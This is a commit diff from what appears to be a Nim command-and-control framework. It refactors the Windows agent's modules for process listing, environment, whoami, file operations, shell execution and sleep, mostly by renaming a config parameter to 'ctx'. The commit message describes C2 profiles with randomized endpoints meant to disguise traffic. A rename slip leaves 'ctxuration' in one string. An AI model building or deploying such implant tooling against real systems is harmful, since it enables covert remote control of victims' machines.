Added profile system to agent communication. Randomized URL endpoints/request methods and dynamic data transformation based on C2 profile. Profile is defined as compile-time string for now.
This commit is contained in:
@@ -1,9 +1,9 @@
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Declare function prototypes
|
||||
proc executePs(config: AgentConfig, task: Task): TaskResult
|
||||
proc executeEnv(config: AgentConfig, task: Task): TaskResult
|
||||
proc executeWhoami(config: AgentConfig, task: Task): TaskResult
|
||||
proc executePs(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definitions
|
||||
let commands*: seq[Command] = @[
|
||||
@@ -35,15 +35,15 @@ let commands*: seq[Command] = @[
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
proc executePs(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executeEnv(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executeWhoami(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executePs(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import winim
|
||||
import os, strutils, sequtils, strformat, tables, algorithm
|
||||
import ../agent/core/taskresult
|
||||
import ../agent/protocol/result
|
||||
|
||||
# TODO: Add user context to process information
|
||||
type
|
||||
@@ -53,7 +53,7 @@ when defined(agent):
|
||||
name: string
|
||||
children: seq[DWORD]
|
||||
|
||||
proc executePs(config: AgentConfig, task: Task): TaskResult =
|
||||
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
echo fmt" [>] Listing running processes."
|
||||
|
||||
@@ -127,7 +127,7 @@ when defined(agent):
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
proc executeEnv(config: AgentConfig, task: Task): TaskResult =
|
||||
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
echo fmt" [>] Displaying environment variables."
|
||||
|
||||
@@ -141,7 +141,7 @@ when defined(agent):
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
proc executeWhoami(config: AgentConfig, task: Task): TaskResult =
|
||||
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
echo fmt" [>] Getting user information."
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Define function prototypes
|
||||
proc executePwd(config: AgentConfig, task: Task): TaskResult
|
||||
proc executeCd(config: AgentConfig, task: Task): TaskResult
|
||||
proc executeDir(config: AgentConfig, task: Task): TaskResult
|
||||
proc executeRm(config: AgentConfig, task: Task): TaskResult
|
||||
proc executeRmdir(config: AgentConfig, task: Task): TaskResult
|
||||
proc executeMove(config: AgentConfig, task: Task): TaskResult
|
||||
proc executeCopy(config: AgentConfig, task: Task): TaskResult
|
||||
proc executePwd(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeCd(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeDir(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeRm(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeMove(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definitions
|
||||
let commands* = @[
|
||||
@@ -85,21 +85,21 @@ let commands* = @[
|
||||
|
||||
# Implementation of the execution functions
|
||||
when defined(server):
|
||||
proc executePwd(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executeCd(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executeDir(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executeRm(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executeRmdir(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executeMove(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executeCopy(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executePwd(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
proc executeCd(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
proc executeDir(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
proc executeRm(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
proc executeMove(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import os, strutils, strformat, times, algorithm, winim
|
||||
import ../agent/core/taskresult
|
||||
import ../agent/protocol/result
|
||||
|
||||
# Retrieve current working directory
|
||||
proc executePwd(config: AgentConfig, task: Task): TaskResult =
|
||||
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
echo fmt" [>] Retrieving current working directory."
|
||||
|
||||
@@ -120,7 +120,7 @@ when defined(agent):
|
||||
|
||||
|
||||
# Change working directory
|
||||
proc executeCd(config: AgentConfig, task: Task): TaskResult =
|
||||
proc executeCd(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let targetDirectory = Bytes.toString(task.args[0].data)
|
||||
@@ -139,7 +139,7 @@ when defined(agent):
|
||||
|
||||
|
||||
# List files and directories at a specific or at the current path
|
||||
proc executeDir(config: AgentConfig, task: Task): TaskResult =
|
||||
proc executeDir(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
try:
|
||||
var targetDirectory: string
|
||||
@@ -289,7 +289,7 @@ when defined(agent):
|
||||
|
||||
|
||||
# Remove file
|
||||
proc executeRm(config: AgentConfig, task: Task): TaskResult =
|
||||
proc executeRm(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let target = Bytes.toString(task.args[0].data)
|
||||
@@ -307,7 +307,7 @@ when defined(agent):
|
||||
|
||||
|
||||
# Remove directory
|
||||
proc executeRmdir(config: AgentConfig, task: Task): TaskResult =
|
||||
proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let target = Bytes.toString(task.args[0].data)
|
||||
@@ -324,7 +324,7 @@ when defined(agent):
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
# Move file or directory
|
||||
proc executeMove(config: AgentConfig, task: Task): TaskResult =
|
||||
proc executeMove(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let
|
||||
@@ -344,7 +344,7 @@ when defined(agent):
|
||||
|
||||
|
||||
# Copy file or directory
|
||||
proc executeCopy(config: AgentConfig, task: Task): TaskResult =
|
||||
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Define function prototype
|
||||
proc executeShell(config: AgentConfig, task: Task): TaskResult
|
||||
proc executeShell(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definition (as seq[Command])
|
||||
let commands*: seq[Command] = @[
|
||||
@@ -20,14 +20,14 @@ let commands*: seq[Command] = @[
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
proc executeShell(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executeShell(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import ../agent/core/taskresult
|
||||
import ../agent/protocol/result
|
||||
import osproc, strutils, strformat
|
||||
|
||||
proc executeShell(config: AgentConfig, task: Task): TaskResult =
|
||||
proc executeShell(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
var
|
||||
command: string
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Define function prototype
|
||||
proc executeSleep(config: AgentConfig, task: Task): TaskResult
|
||||
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definition (as seq[Command])
|
||||
let commands* = @[
|
||||
Command(
|
||||
name: "sleep",
|
||||
commandType: CMD_SLEEP,
|
||||
description: "Update sleep delay configuration.",
|
||||
description: "Update sleep delay ctxuration.",
|
||||
example: "sleep 5",
|
||||
arguments: @[
|
||||
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
|
||||
@@ -19,14 +19,14 @@ let commands* = @[
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
proc executeSleep(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import os, strutils, strformat
|
||||
import ../agent/core/taskresult
|
||||
import ../agent/protocol/result
|
||||
|
||||
proc executeSleep(config: AgentConfig, task: Task): TaskResult =
|
||||
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
try:
|
||||
# Parse task parameter
|
||||
@@ -36,8 +36,8 @@ when defined(agent):
|
||||
|
||||
sleep(delay * 1000)
|
||||
|
||||
# Updating sleep in agent config
|
||||
config.sleep = delay
|
||||
# Updating sleep in agent context
|
||||
ctx.sleep = delay
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
|
||||
Reference in New Issue
Block a user